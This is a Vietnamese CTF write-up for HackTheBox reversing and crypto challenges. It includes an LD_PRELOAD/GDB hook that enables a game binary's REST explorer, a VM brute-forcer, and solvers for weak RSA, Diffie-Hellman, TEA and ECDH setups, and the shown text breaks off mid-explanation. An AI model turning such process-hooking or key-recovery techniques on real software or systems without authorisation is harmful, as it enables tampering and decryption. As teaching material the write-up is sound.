System: Là các thành phần xử lý logic và hành vi của đối tượng. Hệ thống hoạt động bằng cách xử lý các thành phần tương ứng và thực hiện các thao tác như cập nhật, vẽ, va chạm và xử lý sự kiện cho các thực thể tương ứng.
Các thông tin khác có thể check tại đây.
Nhìn sơ qua, đề cho ta file ELF, tiến hành phân tích tĩnh bằng IDA
Nhìn hàm main thôi thì mình thấy ngán vl rồi :v, ta hãy phân tích từng phần
Đây có thể là khai báo một component gì đó với kích thước là 0x10
Nhìn vào đọan này ta có thể thấy được FlagPart được khai báo với 2 byte
zmm0_3, zmm1_1 = rand_pos.constprop.1()
int64_t* world_1 = world
void* rax_44 = ecs_new_w_id(world_1, 0)
Rand_pos được khởi tạo với vị trí ngẫu nhiên trong world sau đó call ecs_new_w_id
để tạo ra một Entity mới và cấp phát ID cho nó sau đó gắn position ở trên đã khai báo vào sau đó trỏ tới FLagPart của chúng ta, các FlagPart sẽ được nằm rải rác ở khắp map.
Phần solve bài này mình sẽ update sau sau khi thật sự hiểu còn về phần tricks solve mình có tham khảo các anh nước ngoài đã solve trong discord khá hay.
Đầu tiên do FLECS có thể leak REST API để phân tích ECS, có thể truy cập thông qua giao diện người dùng tại https://www.flecs.dev/explorer/. Tính năng này bị vô hiệu hóa trong thử thách, nhưng có thể được kích hoạt bằng cách viết một library share để hook vào
#include <dlfcn.h>
#include "flecs.h"
const ecs_entity_t ecs_id(EcsRest) = FLECS_HI_COMPONENT_ID + 118;
void (*ecs_set_id_ptr)(ecs_world_t*, ecs_entity_t, ecs_id_t, size_t, const void*); // dlsym can't access private symbols, we'll set the function pointer via GDB
void *do_hacks(ecs_world_t* world) {
void (*ecs_set_id)(ecs_world_t*, ecs_entity_t, ecs_id_t, size_t, const void*) = ecs_set_id_ptr;
ecs_singleton_set(world, EcsRest, {0});
}
Sau đó compile thành file .so bằng g++ -shared -o hack.so hack.cpp
Chờ và đợi nó compile sau khi đã compile thành công thì tạo một GDB scirpt như sau:
# Set the environment variable to preload your hack.so library
set environment LD_PRELOAD ./hack.so
# Run the program
run
# Wait for the program to hit a breakpoint or stop
# This is where you can interact with the program and obtain the ecs_world_t pointer
# Finish the current function to get the ecs_world_t pointer ($rax register)
finish
# Assign the value of $rax to $world
set $world = $rax
# Set the function pointer to ecs_set_id
set $ecs_set_id_ptr = &ecs_set_id
# Call the do_hacks function to enable EcsRest for this world
call (void)do_hacks($world)
# Continue executing the program
continue
Sau đó, chúng ta có thể truy cập vào trình duyệt, chứa danh sách Explorers
và hiển thị thành phần CanMove
. Ta gán CanMove
vào Person Adrianne sau đó đợi flag sẽ được reveal trên terminal.
Ngoài ra còn một số cách khác có thể solve cho bài này như ta sẽ set breakpoint ở esc function và get các giá trị ở memory được trỏ đến ở [flag index, char] và chỉ cần sắp xếp lại để lấy flag.
Flag
HTB{br1ng_th3_p4rt5_t0g3th3r}
MetaGaming
credit: Trohan0x00
Bài cho ta luôn source code, cứ ngỡ sẽ dễ ăn nhưng không, source khá dài và rối nên ta phải đọc kỹ.
Mình bắt đầu đọc từ main trước
Ta có thể thầy flag format được khai báo từ dữ liệu trên có thể biết được độ dài flag là 40. Xuống bên dưới sẽ là hàm program_t
đây là nợi để call các method được define ở bên trên
struct program_t {
using R = std::array<uint32_t, 15>;
template<insn_t Insn>
static constexpr void execute_one(R ®s) {
if constexpr (Insn.opcode == 0) {
regs[Insn.op0] = Flag.at(Insn.op1);
} else if constexpr (Insn.opcode == 1) {
regs[Insn.op0] = Insn.op1;
} else if constexpr (Insn.opcode == 2) {
regs[Insn.op0] ^= Insn.op1;
} else if constexpr (Insn.opcode == 3) {
regs[Insn.op0] ^= regs[Insn.op1];
} else if constexpr (Insn.opcode == 4) {
regs[Insn.op0] |= Insn.op1;
} else if constexpr (Insn.opcode == 5) {
regs[Insn.op0] |= regs[Insn.op1];
} else if constexpr (Insn.opcode == 6) {
regs[Insn.op0] &= Insn.op1;
} else if constexpr (Insn.opcode == 7) {
regs[Insn.op0] &= regs[Insn.op1];
} else if constexpr (Insn.opcode == 8) {
regs[Insn.op0] += Insn.op1;
} else if constexpr (Insn.opcode == 9) {
regs[Insn.op0] += regs[Insn.op1];
} else if constexpr (Insn.opcode == 10) {
regs[Insn.op0] -= Insn.op1;
} else if constexpr (Insn.opcode == 11) {
regs[Insn.op0] -= regs[Insn.op1];
} else if constexpr (Insn.opcode == 12) {
regs[Insn.op0] *= Insn.op1;
} else if constexpr (Insn.opcode == 13) {
regs[Insn.op0] *= regs[Insn.op1];
} else if constexpr (Insn.opcode == 14) {
__noop;
} else if constexpr (Insn.opcode == 15) {
__noop;
__noop;
} else if constexpr (Insn.opcode == 16) {
regs[Insn.op0] = rotr(regs[Insn.op0], Insn.op1);
} else if constexpr (Insn.opcode == 17) {
regs[Insn.op0] = rotr(regs[Insn.op0], regs[Insn.op1]);
} else if constexpr (Insn.opcode == 18) {
regs[Insn.op0] = rotl(regs[Insn.op0], Insn.op1);
} else if constexpr (Insn.opcode == 19) {
regs[Insn.op0] = rotl(regs[Insn.op0], regs[Insn.op1]);
} else if constexpr (Insn.opcode == 20) {
regs[Insn.op0] = regs[Insn.op1];
} else if constexpr (Insn.opcode == 21) {
regs[Insn.op0] = 0;
} else if constexpr (Insn.opcode == 22) {
regs[Insn.op0] >>= Insn.op1;
} else if constexpr (Insn.opcode == 23) {
regs[Insn.op0] >>= regs[Insn.op1];
} else if constexpr (Insn.opcode == 24) {
regs[Insn.op0] <<= Insn.op1;
} else if constexpr (Insn.opcode == 25) {
regs[Insn.op0] <<= regs[Insn.op1];
} else {
static_assert(always_false_insn_v<Insn>);
}
}
Các method này đơn giản sẽ check các opcode trong thanh ghi xem có đúng giá trị như thế không nếu đúng thì sẽ thực hiện các phương thức trong scope ví dụ như method 0 là read flag, 1 = mov, 2 = xor,…
(program::registers[0] == 0x3ee88722 && program::registers[1] == 0xecbdbe2 && program::registers[2] == 0x60b843c4 && program::registers[3] == 0x5da67c7 && program::registers[4] == 0x171ef1e9 && program::registers[5] == 0x52d5b3f7 && program::registers[6] == 0x3ae718c0 && program::registers[7] == 0x8b4aacc2 && program::registers[8] == 0xe5cf78dd && program::registers[9] == 0x4a848edf && program::registers[10] == 0x8f && program::registers[11] == 0x4180000 && program::registers[12] == 0x0 && program::registers[13] == 0xd && program::registers[14] == 0x0
Tổng cộng có 15 thanh ghi từ 0-14 và mỗi thanh ghi sẽ giữ một giá trị đến khi return chương trình, mình đoán các giá trị thanh ghi có sẽ lần lượt là các kí tự của flag
Tóm lại cơ chế của mã là pack 4 ký tự flag trong một thanh ghi, thực hiện +-*^
với giá trị của thanh ghi tiếp theo. Quá trình này hoàn toàn giống nhau đối với mọi thanh ghi (ngoại trừ các thanh ghi cuối cùng). Nhưng do các thanh ghi phụ thuộc với nhau nên ta phải làm ngược lại
regs[14] <<= 8
regs[14] = flag[38]
regs[14] <<= 16
regs[14] = flag[39]
regs[14] <<= 24
regs[14] = 0
regs[13] = ror(regs[13], 10)
regs[11] += 13
regs[11] = ror(regs[11], 13)
regs[12] &= 12
regs[12] -= 12
regs[13] = rol(regs[13], regs[12])
regs[13] -= regs[11]
regs[13] = 13
regs[13] = flag[13]
regs[13] = regs[11]
regs[12] |= regs[10]
regs[12] = 0
regs[10] |= 12
regs[10] = rol(regs[10], 13)
regs[10] ^= regs[13]
regs[11] &= regs[10]
regs[11] = rol(regs[11], regs[12])
regs[11] = flag[12]
regs[11] += 13
regs[11] = ror(regs[11], 13)
regs[11] &= regs[11]
Nhìn vào flow từ 14 - 11, thì nhìn vào flow của thanh ghi thứ 11 ta có thể ror ngược lại dễ dàng để lấy được flag[12] = 'v'
regs[10] = regs[11]
regs[10] = rol(regs[10], 13)
regs[10] |= 12
Tiếp đến là thanh ghi thứ 10 ta cũng có thể lấy được giá trị thanh ghi này, kể từ đây các thanh ghi từ 9 - 0 sẽ thực hiện các phép toán ±*^
tương tự nhau nên ta có thể viết script để lấy giá trị
#include <stdio.h>
#include <stdint.h>
int main()
{
for (int i = 0; i < 255; ++i)
{
for (int j = 0; j < 255; ++j)
{
for (int k = 0; k < 255; ++k)
{
for (int l = 0; l < 255; ++l)
{
uint32_t reg = (l << 24) | (k << 16) | (j << 8) | i;
reg -= 532704100,
reg -= 2519542932;
reg ^= 2451309277;
reg ^= 3957445476;
reg += 2583554449;
reg -= 1149665327;
reg += 3053959226;
reg += 3693780276;
reg ^= 609918789;
reg ^= 2778221635;
reg += 3133754553;
reg += 3961507338;
reg ^= 1829237263;
reg ^= 2472519933;
reg += 4061630846;
reg -= 1181684786;
reg -= 390349075;
reg += 2883917626;
reg -= 3733394420;
reg ^= 3895283827;
reg ^= 2257053750;
reg -= 2770821931;
reg ^= 477834410;
reg = reg ^ 0x8f;
if (reg == 0x4a848edf )
{
printf("%c%c%c%c", i, j, k, l);
break;
}
}
}
}
}
}
Chạy script ta sẽ được 4 char là 4 char cuối của flag 7b0}
Tương tự còn lại với các thanh ghi từ 8 - 0
Flag
HTB{m4n_1_l0v4_cXX_TeMpl4t35_9fb60c17b0}
Crypto
Note: Write này được tổng hợp từ team crypto của KCSC! Với sự đóng của Zupp, Giang, Minh
Makeshift
credit: Zupp
Description
- Source:
from secret import FLAG
flag = FLAG[::-1]
new_flag = ''
for i in range(0, len(flag), 3):
new_flag += flag[i+1]
new_flag += flag[i+2]
new_flag += flag[i]
print(new_flag)
- Output:
!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB
Solution
Đây là một chall khá dễ và hầu như mình không cần suy nghĩ nhiều, chỉ cần phân tích source và viết công thức ra là được. Có được:
msg = flag[1] + flag[2] + flag[0] + flag[4] + flag[5] + flag[3] + ...
Các vị trí sẽ so le nhau và chỉ cần sắp xếp lại là ta có được flag:
msg = "!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB"
flag = ''
for i in range(0, len(msg), 3):
flag += msg[i+2]
flag += msg[i]
flag += msg[i+1]
print(flag[::-1])
Flag
HTB{4_b3tTeR_w3apOn_i5_n3edeD!?!}
Dynastic
credit: Giang
- Source:
from secret import FLAG
from random import randint
def to_identity_map(a):
return ord(a) - 0x41
def from_identity_map(a):
return chr(a % 26 + 0x41)
def encrypt(m):
c = ''
for i in range(len(m)):
ch = m[i]
if not ch.isalpha():
ech = ch
else:
chi = to_identity_map(ch)
ech = from_identity_map(chi + i)
c += ech
return c
with open('output.txt', 'w') as f:
f.write('Make sure you wrap the decrypted text with the HTB flag format :-]\n')
f.write(encrypt(FLAG))
- Output:
Make sure you wrap the decrypted text with the HTB flag format :-] DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL
Vì nó không shift 1 giá trị cố định mà mỗi kí tự của plaintext được shift theo quy luật nhất định (cộng thêm cả vị trí index của kí tự đó trong plaintext nữa).
Dựa vào hàm trên mình chỉ cần dịch ngược lại là xong
- Script:
from pkcs1 import emsa_pkcs1_v15
from Crypto.Util.number import *
from pwn import *
from gmpy2 import *
from sympy.ntheory.residue_ntheory import discrete_log
from Crypto.Util.Padding import pad, unpad
from os import urandom
import math
from pwn import *
import base64
from tqdm import tqdm
from Crypto.Cipher import AES
import os
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from hashlib import sha256
from Crypto.Hash import SHA256
def to_identity_map(a):
return ord(a) - 0x41
def from_identity_map(a):
return chr(a % 26 + 0x41)
def encrypt(m):
c = ''
for i in range(len(m)):
ch = m[i]
if not ch.isalpha():
ech = ch
else:
chi = to_identity_map(ch)
ech = from_identity_map(chi + i)
c += ech
return c
def decrypt(ct):
c = ''
for i in range(len(ct)):
ch = ct[i]
if not ch.isalpha():
res = ch
else:
ech = to_identity_map(chr(ord(ch)-i))
chi = from_identity_map(ech)
res = chi
c += res
return c
pl = "DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL"
print("HTB{"+decrypt(pl)+"}")
Flag
HTB{DID_YOU_KNOW_ABOUT_THE_TRITHEMIUS_CIPHER?!_IT_IS_SIMILAR_TO_CAESAR_CIPHER}
Primary Knowledge
credit: Zupp
Description
- Source:
import math
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG
m = bytes_to_long(FLAG)
n = math.prod([getPrime(1024) for _ in range(2**0)])
e = 0x10001
c = pow(m, e, n)
with open('output.txt', 'w') as f:
f.write(f'{n = }\n')
f.write(f'{e = }\n')
f.write(f'{c = }\n')
- Output:
n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
e = 65537
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215
Solution
Trước tiên đọc source mình biết được n
là một số nguyên tố lỏ 1024 bits, tới đây thì mình vác đi giải luôn. Đơn giản vì khi n
là số nguyên tố, phi hàm Euler fn
của n sẽ chính bằng n-1
, lí do tại sao thì hướng dẫn sử dụng phi hàm Euler đã có (dùng để đếm số các số co-prime với một số cho trước).
Tới code luôn thôi vì ai cũng biết tính d bằng cách nào:
from Crypto.Util.number import *
n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
e = 65537
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215
d = inverse(e, n-1)
flag = long_to_bytes(pow(c, d, n)).decode()
print(flag)
Flag
HTB{0h_d4mn_4ny7h1ng_r41s3d_t0_0_1s_1!!!}
Blunt
credit: Zupp
Description
- Source:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import getPrime, long_to_bytes
from hashlib import sha256
from secret import FLAG
import random
p = getPrime(32)
print(f'p = 0x{p:x}')
g = random.randint(1, p-1)
print(f'g = 0x{g:x}')
a = random.randint(1, p-1)
b = random.randint(1, p-1)
A, B = pow(g, a, p), pow(g, b, p)
print(f'A = 0x{A:x}')
print(f'B = 0x{B:x}')
C = pow(A, b, p)
assert C == pow(B, a, p)
# now use it as shared secret
hash = sha256()
hash.update(long_to_bytes(C))
key = hash.digest()[:16]
iv = b'\xc1V2\xe7\xed\xc7@8\xf9\\\xef\x80\xd7\x80L*'
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(FLAG, 16))
print(f'ciphertext = {encrypted}')
- Output:
p = 0xdd6cc28d
g = 0x83e21c05
A = 0xcfabb6dd
B = 0xc4a21ba9
ciphertext = b'\x94\x99\x01\xd1\xad\x95\xe0\x13\xb3\xacZj{\x97|z\x1a(&\xe8\x01\xe4Y\x08\xc4\xbeN\xcd\xb2*\xe6{'
Solution
Tới bài này thì mức độ đã được nâng lên một chút (từ very easy thành easy 🐧), về cơ bản đây là một giao thức mà ai học Crypto cũng biết: DH. Bài này mình thấy p khá bé và còn là Smooth Number nên tìm a bằng logarit là khả thi.
from sympy import discrete_log
from hashlib import sha256
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES
'''
A = g^a (mod p)
B = g^b (mod p)
C = g^a^b (mod p) = A^b (mod p)
'''
p = 0xdd6cc28d
g = 0x83e21c05
A = 0xcfabb6dd
B = 0xc4a21ba9
ciphertext = b'\x94\x99\x01\xd1\xad\x95\xe0\x13\xb3\xacZj{\x97|z\x1a(&\xe8\x01\xe4Y\x08\xc4\xbeN\xcd\xb2*\xe6{'
iv = b'\xc1V2\xe7\xed\xc7@8\xf9\\\xef\x80\xd7\x80L*'
a = discrete_log(p, A, g)
b = discrete_log(p, B, g)
assert pow(A, b, p) == pow(B, a, p)
C = pow(A, b, p)
hash = sha256()
hash.update(long_to_bytes(C))
key = hash.digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ciphertext), 16)
print(flag.decode())
Flag
HTB{y0u_n3ed_a_b1gGeR_w3ap0n!!}
Iced TEA
credit: Zupp
Description
- Source:
import os
from secret import FLAG
from Crypto.Util.Padding import pad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from enum import Enum
class Mode(Enum):
ECB = 0x01
CBC = 0x02
class Cipher:
def __init__(self, key, iv=None):
self.BLOCK_SIZE = 64
self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)]
self.DELTA = 0x9e3779b9
self.IV = iv
if self.IV:
self.mode = Mode.CBC
else:
self.mode = Mode.ECB
def _xor(self, a, b):
return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))
def encrypt(self, msg):
msg = pad(msg, self.BLOCK_SIZE//8)
blocks = [msg[i:i+self.BLOCK_SIZE//8] for i in range(0, len(msg), self.BLOCK_SIZE//8)]
ct = b''
if self.mode == Mode.ECB:
for pt in blocks:
ct += self.encrypt_block(pt)
elif self.mode == Mode.CBC:
X = self.IV
for pt in blocks:
enc_block = self.encrypt_block(self._xor(X, pt))
ct += enc_block
X = enc_block
return ct
def encrypt_block(self, msg):
m0 = b2l(msg[:4])
m1 = b2l(msg[4:])
K = self.KEY
msk = (1 << (self.BLOCK_SIZE//2)) - 1
s = 0
for i in range(32):
s += self.DELTA
m0 += ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1])
m0 &= msk
m1 += ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3])
m1 &= msk
m = ((m0 << (self.BLOCK_SIZE//2)) + m1) & ((1 << self.BLOCK_SIZE) - 1) # m = m0 || m1
return l2b(m)
if __name__ == '__main__':
KEY = os.urandom(16)
cipher = Cipher(KEY)
ct = cipher.encrypt(FLAG)
with open('output.txt', 'w') as f:
f.write(f'Key : {KEY.hex()}\nCiphertext : {ct.hex()}')
- Output:
Key : 850c1413787c389e0b34437a6828a1b2
Ciphertext : b36c62d96d9daaa90634242e1e6c76556d020de35f7a3b248ed71351cc3f3da97d4d8fd0ebc5c06a655eb57f2b250dcb2b39c8b2000297f635ce4a44110ec66596c50624d6ab582b2fd92228a21ad9eece4729e589aba644393f57736a0b870308ff00d778214f238056b8cf5721a843
Solution
Thật ra bài này chỉ cần làm ngược lại hàm encrypt để lấy hàm decrypt là xong chứ không cần phải làm gì nhiều
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from Crypto.Util.Padding import unpad
from enum import Enum
class Mode(Enum):
ECB = 0x01
CBC = 0x02
class Cipher:
def __init__(self, key, iv=None):
self.BLOCK_SIZE = 64
self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)]
self.DELTA = 0x9e3779b9
self.IV = iv
if self.IV:
self.mode = Mode.CBC
else:
self.mode = Mode.ECB
def _xor(self, a, b):
return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))
def decrypt(self, ciphertext):
blocks = [ciphertext[i:i+self.BLOCK_SIZE//8] for i in range(0, len(ciphertext), self.BLOCK_SIZE//8)]
pt = b''
if self.mode == Mode.ECB:
for ct_block in blocks:
pt += self.decrypt_block(ct_block)
elif self.mode == Mode.CBC:
X = self.IV
for ct_block in blocks:
dec_block = self.decrypt_block(ct_block)
pt += self._xor(X, dec_block)
X = ct_block
return pt
def decrypt_block(self, ciphertext):
c = b2l(ciphertext)
K = self.KEY
msk = (1 << (self.BLOCK_SIZE//2)) - 1
m0 = c >> (self.BLOCK_SIZE//2)
m1 = c & ((1 << (self.BLOCK_SIZE//2)) - 1)
s = self.DELTA * 32
for i in range(32):
m1 -= ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3])
m1 &= msk
m0 -= ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1])
m0 &= msk
s -= self.DELTA
m = (m0 << (self.BLOCK_SIZE//2)) | m1
return l2b(m)
key = '850c1413787c389e0b34437a6828a1b2'
ct = 'b36c62d96d9daaa90634242e1e6c76556d020de35f7a3b248ed71351cc3f3da97d4d8fd0ebc5c06a655eb57f2b250dcb2b39c8b2000297f635ce4a44110ec66596c50624d6ab582b2fd92228a21ad9eece4729e589aba644393f57736a0b870308ff00d778214f238056b8cf5721a843'
key, ct = bytes.fromhex(key), bytes.fromhex(ct)
cipher = Cipher(key)
flag = unpad(cipher.decrypt(ct), 16).decode()
print(flag)
Flag
HTB{th1s_1s_th3_t1ny_3ncryp710n_4lg0r1thm_____y0u_m1ght_h4v3_4lr34dy_s7umbl3d_up0n_1t_1f_y0u_d0_r3v3rs1ng}
Arranged
credit: Zupp
Description
- Source :
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes
from hashlib import sha256
from secret import FLAG, p, b, priv_a, priv_b
F = GF(p)
E = EllipticCurve(F, [726, b])
G = E(926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253)
A = G * priv_a
B = G * priv_b
print(A)
print(B)
C = priv_a * B
assert C == priv_b * A
# now use it as shared secret
secret = C[0]
hash = sha256()
hash.update(long_to_bytes(secret))
key = hash.digest()[16:32]
iv = b'u\x8fo\x9aK\xc5\x17\xa7>[\x18\xa3\xc5\x11\x9en'
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(FLAG, 16))
print(encrypted)
- Output:
(6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997 : 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696 : 1)
(4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734 : 425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865 : 1)
b'V\x1b\xc6&\x04Z\xb0c\xec\x1a\tn\xd9\xa6(\xc1\xe1\xc5I\xf5\x1c\xd3\xa7\xdd\xa0\x84j\x9bob\x9d"\xd8\xf7\x98?^\x9dA{\xde\x08\x8f\x84i\xbf\x1f\xab'
Solution
Well đến đây thì chall đã sang một mức độ khác là medium (nhưng cũng không quá khó). Đọc source mình biết được bài sử dụng ECC và giao thức là DH-ECC. Đề đã cung cấp iv
và enc
, thứ mình cần tìm lại là key
.
Ở đây, key
cũng chính là shared_secret
trong các dạng bài giao thức khóa DH quen thuộc, và vấn đề nằm ở hai khóa riêng priv_a
và priv_b
(chỉ cần tìm một trong hai là có thể giải được bài rồi). Tuy nhiên, bài không define cho ta một ellip cụ thể, rõ ràng mình cần tìm lại ellip này.
Ta biết được 3 điểm G
, A
và B
đều thuộc ellip xét trong trường Fp
, cụ thể tọa độ của 3 điểm này sẽ thỏa mãn phương trình của ellip, hay:
y_G ^ 2 = x_G ^ 3 + 726*x_G + b (mod p) (1)
y_A ^ 2 = x_A ^ 3 + 726*x_A + b (mod p) (2)
y_B ^ 2 = x_B ^ 3 + 726*x_B + b (mod p) (3)
Tại đây ta cần tìm lại hệ số b
và trường của ellip. Trừ phương trình (1) cho (2) và (3) và chuyển vế, ta thu được 2 phương trình dạng left = 0 (mod p)
, lấy GCD
của hai cái left
này giúp mình tìm lại p
, đồng thời giải luôn được b
:
ef L(P):
x, y = P[0], P[1]
return y**2 - x**3 - 726*x
G = (926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253)
A = (6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997, 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696)
B = (4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734, 425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865)
p = GCD(L(G) - L(A), L(G) - L(B))
b = L(G) % p
assert (G[1]**2) % p == (G[0]**3 + 726*G[0] + b) % p
assert (A[1]**2) % p == (A[0]**3 + 726*A[0] + b) % p
assert (B[1]**2) % p == (B[0]**3 + 726*B[0] + b) % p
Ta đã recover lại được ellip, giờ cần tìm priv_a
hoặc priv_b
. Mình đã nghĩ tới ý tưởng áp dụng Smart's Attack nhưng khi check lại thì điều kiện E.order() == p
bị sai. Đánh liều dlog
ra thì lại làm được hoặc là mình cũng có thể dùng baby step giant step 🐧:
F = GF(p)
E = EllipticCurve(F, [726, b])
G, A, B = E(G), E(A), E(B)
priv_a = discrete_log(A, G, operation='+')
Chạy hơi lâu chút nhưng cuối cùng sẽ ra được priv_a = 4
, đem đi giải key
là xong (ai ngựa ngựa có thể tìm luôn priv_b
rồi assert
thử xem đúng hay sai).
Full code:
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
from hashlib import sha256
def L(P):
x, y = P[0], P[1]
return y**2 - x**3 - 726*x
G = (926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253)
A = (6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997, 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696)
B = (4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734, 425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865)
p = GCD(L(G) - L(A), L(A) - L(B))
b = L(G) % p
assert (G[1]**2) % p == (G[0]**3 + 726*G[0] + b) % p
assert (A[1]**2) % p == (A[0]**3 + 726*A[0] + b) % p
assert (B[1]**2) % p == (B[0]**3 + 726*B[0] + b) % p
F = GF(p)
E = EllipticCurve(F, [726, b])
G, A, B = E(G), E(A), E(B)
# priv_a = discrete_log(A, G, operation='+')
priv_a = 4
shared_secret = (B * priv_a).xy()[0]
hash = sha256()
hash.update(long_to_bytes(int(shared_secret)))
key = hash.digest()[16:32]
ciphertext = b'V\x1b\xc6&\x04Z\xb0c\xec\x1a\tn\xd9\xa6(\xc1\xe1\xc5I\xf5\x1c\xd3\xa7\xdd\xa0\x84j\x9bob\x9d"\xd8\xf7\x98?^\x9dA{\xde\x08\x8f\x84i\xbf\x1f\xab'
iv = b'u\x8fo\x9aK\xc5\x17\xa7>[\x18\xa3\xc5\x11\x9en'
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ciphertext), 16)
print(flag.decode())
Flag
HTB{0rD3r_mUsT_b3_prEs3RveD_!!@!}
Partial Tenacity
credit: Zupp
Description
- Source:
from secret import FLAG
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
class RSACipher:
def __init__(self, bits):
self.key = RSA.generate(bits)
self.cipher = PKCS1_OAEP.new(self.key)
def encrypt(self, m):
return self.cipher.encrypt(m)
def decrypt(self, c):
return self.cipher.decrypt(c)
cipher = RSACipher(1024)
enc_flag = cipher.encrypt(FLAG)
with open('output.txt', 'w') as f:
f.write(f'n = {cipher.key.n}\n')
f.write(f'ct = {enc_flag.hex()}\n')
f.write(f'p = {str(cipher.key.p)[::2]}\n')
f.write(f'q = {str(cipher.key.q)[1::2]}')
- Output:
n = 124489602600121701274548809815923584607837171501534880261503180856938186391623267155644651085143459140143217303598468742852882882427469507691050712387595895502373303396701424516638188457555247307277206394398562666677288285701252034906810402407918122597636299856574712902166065585733567177021600418361645177173
ct = 1f287749a7dae2256bec91f58c614d57471ad05ccadc6f6923b46798571db3c623dd14157e8b909ed1fbba3af6e0dec562b120a64f261da0f591504b03c99054eed8b698725b6707c5250cce0308a289a83a8ff89790e845f6aab43a0e9419ba843cc729aeef3ad39ce23f17ad30c3a2e7743c5007d2f684019efbadf1592aad
p = 171539328165412321875748057028552243899150327277402310685789246185479388035679
q = 12370078203860528037238299503161295765194367399450231656330777573089075282486
Solution
Bài này làm mình khá nản lúc đầu nhưng may có anh Tuệ
support nên đã làm được. Bài thuộc một dạng RSA với partial known bits
(nói là bits thôi nhưng thực ra các số p
và q
đã bị khuyết mất các chữ số).
Mình đã biết được p
và q
kia chính là các số còn lại sau khi thay đổi p
, q
ban đầu. Cụ thể với p
từ vị trí [0]
đến cuối thì cách một chữ số lại xóa đi một lần, q
thì xuất phát từ vị trí [1]
.
Để làm được bài này thì mình cần sử dụng một chút toán tiểu học và logic. Xét phép nhân p * q == n
, theo như cách nhân từng học thì:
p[-1] * q[-1] == n[-1]
p[-2] * q[-2] == n[-2]
...
- Nếu kết quả vượt quá 10 thì nhớ và lấy chữ số hàng đơn vị rồi cộng phần nhớ cho hàng tiếp theo, cụ thể như sau:
Giả sử có:
p[-1] = 3, p[-2] = 2
q[-1] = 5, q[-2] = 3
thì :
n[-1] = 3 * 5 = 15, viết 5 nhớ 1
n[-2] = 2 * 3 = 6, nhớ 1 là 7
nhận được n[-1] = 5 và n[-2] = 7
